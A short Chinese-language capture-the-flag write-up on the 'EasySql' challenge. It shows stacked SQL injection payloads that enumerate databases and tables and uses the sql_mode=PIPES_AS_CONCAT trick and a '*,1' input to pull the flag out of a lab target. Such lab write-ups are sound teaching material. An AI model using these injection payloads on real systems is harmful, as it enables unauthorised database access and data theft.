本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助

打开靶机,
联系题目EasySql推测为sql注入点,
尝试输入字符串,数字,发现数字输入有回显,推测为数字注入

回显为数组输出,判断为PHP执行SQL查询后获取的结果

尝试堆叠注入,

1
1;show databases;#         //查询所有数据库

继续查询

1
1;show tables;#          //列出当前数据库中的所有表,类似文件系统中的“列出所有文件”)


看到名为Flag的表名

1
1;select * from Flag    //从 Flag 表中选取所有数据,* 表示“所有字段”


发现被过滤了

推测其sql语句为:

1
select <post输入框内容> from Flag;

尝试输入*号构成:select * from Flag;
发现没有任何回显,
猜测查询是使用的sql语句是或(||)回显

1
select <post输入框内容> || flag from Flag;

Mysql中的||

||运算符相当于or,即 :

1 || 0 =1
0 || 0 =0
1 || 1 =1
我们可以修改sql_mode的值,将||视为字符串的连接操作符而非或运算符,即set sql_mode=PIPES_AS_CONCAT;

方法一:

输入*,1构成:

1
2
select *,1 || flag from Flag;
select *,1 from Flag; //1 || flag ——>1


获得flag

方法二:

构造payload为:

1
1;set sql_mode=PIPES_AS_CONCAT;select 1

相当于是将select 1 和 select flag from Flag 的结果拼接在一起,也就是 select 1;的结果拼接select flag from Flag的结果

获得flag